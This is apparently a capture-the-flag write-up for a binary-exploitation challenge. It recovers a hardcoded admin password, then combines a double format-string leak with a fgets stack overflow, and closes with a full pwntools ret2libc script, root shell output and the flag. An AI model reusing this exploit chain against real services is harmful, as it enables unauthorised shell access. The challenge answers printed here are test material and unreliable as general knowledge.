Category: pwn / binary exploitation (format-string leak → ret2libc) Target:
34.63.108.139:1337Binary:1776008726_sign_up_here(ELF64, x86-64, PIE, dynamically linked, not stripped) Flag:P2P{HuH_Th3r3_wA5nT_4_w1N_fUNcT10n_H0w_D1d_y0u_G3t_H3r3}
A menu-driven "player account" program. Unlike the typical beginner pwn, this one ships with the full mitigation suite, so the flag name is a taunt: there is no win() — you have to leak libc and ROP your way to system("/bin/sh").
1. Recon
$ file 1776008726_sign_up_here
ELF 64-bit LSB pie executable, x86-64, dynamically linked, not stripped
$ readelf -d ... | grep FLAGS
FLAGS BIND_NOW
FLAGS_1 Flags: NOW PIE
| Mitigation | Status | Consequence |
|---|---|---|
| PIE | ✅ | Code & GOT addresses randomized → need a leak. |
| Full RELRO | ✅ (BIND_NOW) |
GOT is read-only → no GOT overwrite. |
| Stack canary | ✅ | Linear overflows must preserve/leak the canary. |
| NX | ✅ | No shellcode → ROP. |
No system//bin/sh is imported and there is no win function, so the endgame must be a ret2libc built from a leaked libc base.
Functions / structure
The account is a struct on main's stack passed by pointer to every handler:
| offset | field | size |
|---|---|---|
+0x00 |
username | 0x20 |
+0x20 |
0x20 | |
+0x40 |
university | 0x20 |
+0x60 |
registered flag |
int |
+0x64 |
modification count | int |
Main menu options are matched by strcmp: "1" register, "2" update, "3" view, "0" exit — plus a hidden "DEBUG" → admin_login → admin_debug_menu.
read_line(buf, n) = fgets(buf, n, stdin) + strip newline (bounded). register_account / update_account_details / view_current_profile are all correctly bounded — the bugs live behind the admin gate.
2. Stage 0 — recover the admin password
admin_login reads ≤17 bytes and calls admin_check_password, which requires strlen == 17 and then, per character:
(password[i] * 7168) / 5 == arr[i] # signed integer division (truncating)
against a hardcoded 17-entry table. Inverting (c = arr[i]*5 // 7168, brute 0..127):
arr = [0x1c000,0x11800,0x1c000,0xfc00,0x16c00,0x23000,0x1af33,0x24c00,0x1b4cc,
0x21400,0x17ccc,0x23599,0x224cc,0x28f33,0x240cc,0xb8cc,0xeb33]
pw = "".join(chr(next(c for c in range(128) if (c*7168)//5==a)) for a in arr)
# -> "P2P-AdMiN_Debug!*"
Password: P2P-AdMiN_Debug!*
3. The two bugs in admin_debug_menu
Bug A — double format string (leak primitive)
When the account is registered, the profile is rendered in two steps:
snprintf(bufA, 0x100, "Current Registered Username: %s\n"
"Current Registered User Email: %s\n"
"Current Registered User University: %s\n"
"Number of Account Modifications: %i\n",
username, email, university, mod_count);
sprintf (bufB, bufA); // BUG: bufA contains attacker text -> it's the format string
printf ("%s\n\n", bufB); // result is printed -> NON-BLIND
Whatever I store in username/email/university is copied verbatim into bufA by the first snprintf, and then interpreted by sprintf(bufB, bufA). printf("%s", bufB) echoes the result, so it's a fully readable format-string leak.
bufA sits at rbp-0x210; the sprintf varargs (%5$ = first stack slot) start at rbp-0x230, which makes bufA's content begin at arg 9. From the frame layout:
| arg | slot | value |
|---|---|---|
%74$p |
rbp-0x8 |
stack canary |
%75$p |
rbp+0x0 |
saved rbp |
%76$p |
rbp+0x8 |
return into main (PIE base + 0x1cc8) |
%94$p |
main's rbp+8 |
return into libc = __libc_start_main_ret |
So %74$p|%94$p| in the username leaks canary + libc base in one shot.
⚠️ Keep the leak short:
sprintfintobufB(0x100) is unbounded; a long leak would overflowbufBinto the canary and crash onadmin_debug_menu's epilogue. Two%pis plenty.
Bug B — fgets stack overflow (control primitive)
The "Report a Player" sub-menu (option "1") does:
read_line(bufA, 0x20); // reporter username (bounded)
fgets(bufB /* rbp-0x110, 0x100 bytes */, 0x200, stdin); // 512 bytes -> OVERFLOW
bufB is 0x100 bytes but fgets reads up to 0x200. Distance from bufB to the canary (rbp-0x8) is 0x108 = 264, so:
offset 264 -> canary
offset 272 -> saved rbp
offset 280 -> return address (== ROP)
fgets happily passes NUL bytes (only \n terminates), so a ROP chain with null high-bytes is fine.
4. Putting it together (single connection)
Both bugs fire inside one admin_debug_menu visit: the profile display leaks, then "Report a Player" overflows. The chain is a textbook ret2libc with an extra ret for movaps stack alignment:
payload = b"A"*264 + p64(canary) + p64(junk_rbp)
+ p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)
On admin_debug_menu's leave; ret, the (correct) canary passes, and control flows into system("/bin/sh").
Matching the remote libc
The first remote run failed a sanity check: the leaked __libc_start_main_ret ended in 0x083, but my local glibc (2.31-0ubuntu9) ends in 0x0b3. Downloading Ubuntu 20.04 patch levels and computing the return offset after call rax inside __libc_start_main pinned it to glibc 2.31-0ubuntu9.18 (ret = 0x24083, low-12 = 0x083 ✓):
| symbol | 9.18 offset |
|---|---|
__libc_start_main_ret |
0x24083 |
system |
0x52290 |
/bin/sh |
0x1b45bd |
pop rdi ; ret |
0x23b6a |
ret |
0x22679 |
libc_base = leaked_arg94 - 0x24083. Everything else is computed from the per-connection leak, so the exploit is otherwise ASLR-independent. A retry loop covers the rare case where a canary/address byte is 0x0a (which fgets would truncate).
5. Exploit
#!/usr/bin/env python3
from pwn import *
import re
context.arch = 'amd64'
PW = b"P2P-AdMiN_Debug!*"
# glibc 2.31-0ubuntu9.18 (remote)
LSM, SYS, SH, RDI, RET = 0x24083, 0x52290, 0x1b45bd, 0x23b6a, 0x22679
def pwn():
p = remote("34.63.108.139", 1337)
# register, embedding leak directives in the username field
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"Username: ", b"%74$p|%94$p|") # canary | __libc_start_main_ret
p.sendlineafter(b"Email: ", b"x")
p.sendlineafter(b"Name: ", b"x")
# enter DEBUG -> profile display fires the format string
p.sendlineafter(b"> ", b"DEBUG")
p.sendlineafter(b"Password: ", PW)
data = p.recvuntil(b"[1] Report a Player", timeout=8)
toks = re.findall(rb'0x[0-9a-f]+|\(nil\)',
data.split(b"Username: ")[1].split(b"\n")[0])
val = lambda t: 0 if t == b'(nil)' else int(t, 16)
canary, lsm_ret = val(toks[0]), val(toks[1])
libc = lsm_ret - LSM
assert libc & 0xfff == 0
system, binsh, pop_rdi, ret = libc+SYS, libc+SH, libc+RDI, libc+RET
# "Report a Player" -> fgets(bufB, 0x200) overflow -> ret2libc
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"Username: ", b"x")
rop = p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)
payload = b"A"*264 + p64(canary) + p64(0x4141414141414141) + rop
assert b"\n" not in payload
p.sendlineafter(b"Short Reason for Report: ", payload)
p.sendline(b"id; cat flag* /flag* 2>/dev/null")
p.interactive()
pwn()
Result
uid=0(root) gid=0(root) groups=0(root)
P2P{HuH_Th3r3_wA5nT_4_w1N_fUNcT10n_H0w_D1d_y0u_G3t_H3r3}
Service runs as root, so the chain yields a root shell.
6. Takeaways
- A leak primitive and a control primitive in the same function combine cleanly — leak (canary + libc) on entry, overflow on the way out, all in one connection.
- The double format string (
snprintfof user fields →sprintfof the result) is the subtle bit: data becomes a format string at the second stage. Watch for user-controlled buffers flowing into a format-string position. fgets(buf, BIG, stdin)withBIGlarger thansizeof(buf)is a classic overflow — andfgetstolerates NUL bytes, which keeps ROP chains intact.- With Full RELRO + PIE + canary and no
win, the only route is leak → ret2libc; getting the exact downstream libc (here 2.31-0ubuntu9.18, identified from the leak's low-12 bits) is essential for correct gadget/system//bin/shoffsets.
Flag: P2P{HuH_Th3r3_wA5nT_4_w1N_fUNcT10n_H0w_D1d_y0u_G3t_H3r3}